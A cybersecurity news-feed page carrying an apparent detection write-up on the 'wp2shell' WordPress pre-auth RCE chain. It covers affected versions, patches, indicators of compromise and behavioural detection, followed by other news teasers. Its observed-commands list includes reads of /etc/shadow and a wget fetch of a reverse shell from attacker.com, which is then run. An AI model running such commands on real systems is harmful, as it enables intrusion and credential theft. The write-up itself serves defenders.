LIVE · cybersecurity feed
Live wire
security

wp2shell hits WordPress: detecting pre-auth RCE from plugin drop to command execution

On July 17, 2026, Searchlight Cyber publicly disclosed "wp2shell," a critical pre-authentication remote code execution (RCE) vulnerability chain affecting WordPress Core. The vulnerability, tracked as CVE-2026-63030 and CVE-2026-60137, allows attackers to execute arbitrary code on vulnerable WordPress installations without requiring authentication. Proof-of-concept (PoC) tools for wp2shell…

ZeroDay News ·

Source: Elastic Security Labs

On July 17, 2026, Searchlight Cyber publicly disclosed "wp2shell," a critical pre-authentication remote code execution (RCE) vulnerability chain affecting WordPress Core. The vulnerability, tracked as CVE-2026-63030 and CVE-2026-60137, allows attackers to execute arbitrary code on vulnerable WordPress installations without requiring authentication. Proof-of-concept (PoC) tools for wp2shell quickly appeared on platforms like GitHub, leading to immediate scanning and exploitation attempts in the wild.

The wp2shell chain exploits a route confusion flaw within WordPress Core's REST batch endpoint, specifically `/wp-json/batch/v1` or `/?rest_route=/batch/v1`. This vulnerability allows sub-requests within a batch call to be dispatched to an incorrect REST handler, bypassing method restrictions. Attackers can leverage nested batch calls to achieve a pre-authentication SQL injection primitive through query parameters that should not be applicable to the targeted route.

From this initial SQL injection, exploitation paths diverge. Some PoCs, such as the one published by Icex0, escalate privileges by bridging the SQL injection to an administrator account and then uploading a malicious plugin. Other observed methods involve directly dropping a webshell to disk using SQL `INTO OUTFILE` functionality. Both approaches ultimately lead to attacker-controlled PHP code execution on the host, followed by command execution through the web stack.

WordPress versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are fully vulnerable to the pre-authentication RCE chain. WordPress versions 6.8.0 through 6.8.5 are affected by the SQL injection primitive but not the full RCE chain; users of these versions should update to 6.8.6. Versions 6.8.6, 6.9.5, and 7.0.2 contain patches for the respective vulnerabilities and are not affected by the full RCE chain. Users can check their exposure at wp2shell.com.

Telemetry from honeypots and customer environments shows a mix of vulnerability scanning and full exploitation attempts. Common indicators of compromise (IOCs) include web server processes (e.g., `httpd`, `apache2`, `php-fpm`) spawning shell processes and executing short discovery commands like `sh -c id`, `whoami`, and `hostname`. When the plugin-upload chain is used, new directories with names like `wp2shell_hex` (e.g., `wp2shell_6a5566a6`) appear under `wp-content/plugins/`. Access logs may also show `POST /?rest_route=/batch/v1` requests with a `User-Agent: wp2shell`.

A typical exploitation sequence using the Icex0 PoC involves several stages. First, the web server process (e.g., `apache2`) writes temporary files under `wp-content/` to confirm writability. Next, a malicious zip file (e.g., `wp2shell_6a5566a6.zip`) is uploaded to `wp-content/uploads/`, with a temporary PHP upload file created under `/tmp/`. The plugin is then unpacked into `wp-content/upgrade/wp2shell_hex/.../wp2shell_hex.php` and finally installed by renaming the directory to `wp-content/plugins/wp2shell_hex/`. All these file operations are performed by the web server process, which, while normal for legitimate plugin uploads, is anomalous in this volume and with these specific filenames on a production site.

Following the plugin installation, the web server process spawns a shell from the newly created plugin directory. This transition from serving HTTP requests to executing shell commands is a critical detection point. Observed commands include `id`, `whoami`, `hostname`, `uname -a`, `cat /etc/passwd`, `cat /etc/shadow`, `ls -laR /var/www/html/wp-content/uploads/`, `find / -maxdepth 3 -writable`, `wget -qO /tmp/wp2shell_6a5566a6_revshell http://attacker.com/revshell`, `chmod +x /tmp/wp2shell_6a5566a6_revshell`, and `/tmp/wp2shell_6a5566a6_revshell`.

Defenders should prioritize patching to WordPress 7.0.2 or 6.9.5 immediately. For detection, monitoring for web server processes spawning shells, unusual file creations in the `wp-content/plugins/` directory, and specific access log entries are crucial. While PoC-specific strings can aid in initial triage, behavioral detection, such as identifying web server-to-shell process relationships, offers more durable coverage against evolving attack payloads. The attack chain maps to MITRE ATT&CK techniques such as Exploit Public-Facing Application (T1190), Server Software Component: Web Shell (T1505.003), and Command and Scripting Interpreter (T1059).

ShareXLinkedInWhatsAppFacebook

More News

view all →
security

Canadian cybersecurity executive arrested in federal extortion case

A Canadian cybersecurity executive was arrested in Pennsylvania on Thursday, facing federal charges of conspiracy to commit extortion. Edward Dubrovsky, 54, a co-founder and former Chief Operating Officer of CYPFER, a firm specializing in ransomware negotiation, is charged with conspiring to threaten the confidentiality of information for extortion and conspiring to commit Hobbs Act extortion,…

breach

Criminal IP Introduces AITEM as the Next Evolution of Attack Surface Management

AI SPERA, the company behind the cyber threat intelligence platform Criminal IP, has announced AITEM (AI-Powered Threat Exposure Management), an expansion of its Attack Surface Management (ASM) offerings. AITEM aims to move beyond traditional asset discovery to provide a more comprehensive approach to understanding, prioritizing, and responding to security exposures. The platform is scheduled…

ai

AI Is Getting Really Good at Messing With Cybercriminals

Anti-cybercrime initiatives are increasingly deploying artificial intelligence to disrupt scammers by engaging them with lifelike bots, which the criminals mistake for genuine victims. This strategy aims to waste scammers' time and resources while gathering intelligence on their operations.

ransomware

FBI Arrests Ransomware Negotiation Firm Co-Founder in ShinyHunters Probe

The Federal Bureau of Investigation (FBI) has reportedly arrested Edward Dubrovsky, a co-founder of the ransomware negotiation firm Cypfer and currently associated with CyberSteward. The arrest is said to be part of the ongoing ShinyHunters investigation, specifically in connection with an incident involving FBI job applicant data.

ai

The Third-Party Agent Problem: Why Security Built for AI You Chose Misses the Agents You Didn't

A new report highlights a significant blind spot in enterprise security architectures concerning the proliferation of third-party AI agents. The forthcoming 2026 State of Agent Security Report indicates that current security models, often designed to protect AI systems directly chosen and deployed by an organization, frequently fail to account for AI capabilities embedded within third-party…

security

Insider Cyber Extortion Plot Against Industrial Firm Lands Engineer in Prison

A former core infrastructure engineer has been sentenced to prison for an attempted cyber extortion plot against an industrial firm. The engineer reportedly deleted administrative accounts and reset hundreds of user passwords, subsequently demanding a ransom of 20 Bitcoin to prevent further disruption to the company's servers.